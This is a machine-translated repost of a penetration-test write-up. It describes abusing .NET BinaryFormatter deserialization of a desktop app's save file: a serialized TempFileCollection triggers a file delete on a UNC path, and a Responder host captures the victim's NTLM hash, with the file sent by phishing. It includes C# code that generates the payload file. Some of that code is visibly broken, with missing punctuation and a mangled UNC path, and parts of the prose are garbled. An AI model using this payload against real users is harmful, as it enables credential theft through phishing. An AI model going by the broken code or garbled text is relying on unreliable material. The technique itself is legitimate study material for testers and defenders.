Shulou(Shulou.com)06/02 Report--

In this issue, the editor will bring you about how to use .NET deserialization vulnerabilities to obtain NTLM Hashes. The article is rich in content and analyzed and described from a professional point of view. I hope you can get something after reading this article.

In a recent penetration test, we came across an interesting technique for obtaining administrator credentials (of course, the NTLM hash has been cracked). There is nothing particularly new about this attack, it requires special conditions to achieve, but we think it is enough for us to share it. A very similar technology is described in a recent blog post by Gianluca Baldi on the mediaservice.net blog. We found that we could do some very similar things, but not to exploit XXE but to exploit. Net deserialization vulnerabilities.

This specific vulnerability is triggered when a user loads a malicious file, so user interaction is required, but similar vulnerabilities may exist in applications accessible on the network. It all depends on where the data is deserialized.

Basis of deserialization

Deserialization is something that anyone who performs security tests for a large number of applications or Web applications should be familiar with. Usually discussed in the Java environment, deserialization vulnerabilities are possible in many applications, including .NET applications.

For those who are not familiar with it, serialization is the process of converting an object into a stream of bytes that can be easily saved in a disk file or database. Deserialization is the inverse of serialization; usually this can be used for RPC that communicates between two applications that may be on different hosts. When the state of the application needs to be saved (which is also common), the serialized data is written to disk and later restored.

We can see this through the following example.

Using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1 {[Serializable] class MyClass {private int x = 1; private int y = 2; public string s = "Hello World"; public MyClass () {Console.WriteLine ("In Constructor");} public void Method () {Console.WriteLine ("Method ()") } public void Dispose () {Console.WriteLine ("Disposing Object");}} class Program {static void Main (string [] args) {BinaryFormatter binaryFormatter = new BinaryFormatter (); MyClass myClass = new MyClass () Using (FileStream fileStream = File.OpenWrite ("save")) {binaryFormatter.Serialize (fileStream, myClass);}

This will create a file and save it, which we can view in a text editor.

When an application deserializes untrusted data, it may sometimes be exploited by an attacker. If we look at the deserialized object above, it is clear that although we cannot inject code directly into the application, if the deserialized object is in its constructor or in its dispose method, we may be able to exploit it (that is, maliciously)-the method called by the garbage collector when the .NET object is destroyed. This is because when a deserialization attempt is made, the object is actually created and destroyed, even if it cannot be used because of a type error.

Loopholes

During the test, we found that the .NET application was installed on the desktop. Although we don't know the nature of the application, we can be sure that it has a "save" function. To save, the application takes a specific object and serializes it to disk. It can then load the saved object and deserialize it in the opposite way.

The vulnerability code is similar to the following:

Using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1 {class Program {static void Main (string [] args) {string saveFile = "save"; MyClass myClass = null; BinaryFormatter binaryFormatter = new BinaryFormatter (); FileStream fileStream = File.OpenRead (saveFile); try {Object o = binaryFormatter.Deserialize (fileStream) MyClass = (MyClass) o; myClass.Method ();} catch (Exception) {}

As mentioned earlier, in this special case, we need to find an object that will play some useful role in creating or destroying it.

System.CodeDom.Compiler.TempFileCollection is an object in .NET that is used to delete files added using the AddFile method. This has been confirmed by creating the file in a specific location (d:\ file1) and using the serialized TempFileCollection as the application "save" file. Deserialized objects are created using the following code snippet:

Static void Main (string [] args) {BinaryFormatter binaryFormatter = new BinaryFormatter (); TempFileCollection tempFileCollection = new TempFileCollection (); tempFileCollection.AddFile ("d:\\ test", false); using (FileStream fileStream = File.OpenWrite ("save")) {binaryFormatter.Serialize (fileStream, tempFileCollection);}}

When we load the saved file, the application deserialization does delete the test file. This is a good PoC, so can we go further?

Get credentials

At this point, we have an application that has a deserialization vulnerability that triggers a deserialization vulnerability when a saved file is opened, and an object that can be deserialized deletes the file that we can specify.

If you read the file from the UNC path (i.e.\\ host\ file), Windows attempts to use the server for authentication. If we change the deleted file to the UNC path on the server running Responder, we will be able to capture the NTLM handshake and try to crack the password.

The following. Net code generates our payload:

Static public void MakeObject () {BinaryFormatter binaryFormatter = new BinaryFormatter (); TempFileCollection tempFileCollection = new TempFileCollection (); tempFileCollection.AddFile ("\ test", false); using (FileStream fileStream = File.OpenWrite ("save")) {binaryFormatter.Serialize (fileStream, tempFileCollection);}}

Then we run Responder, send the file to the user (through a phishing attack) and wait. After a while, we got the hash, which we can use to crack.

Based on our strong dictionary and the fragile password policies of the target users, it didn't take us long to crack the password.

The above is the editor's share of how to use .NET deserialization vulnerabilities to obtain NTLM Hashes. If you happen to have similar doubts, please refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.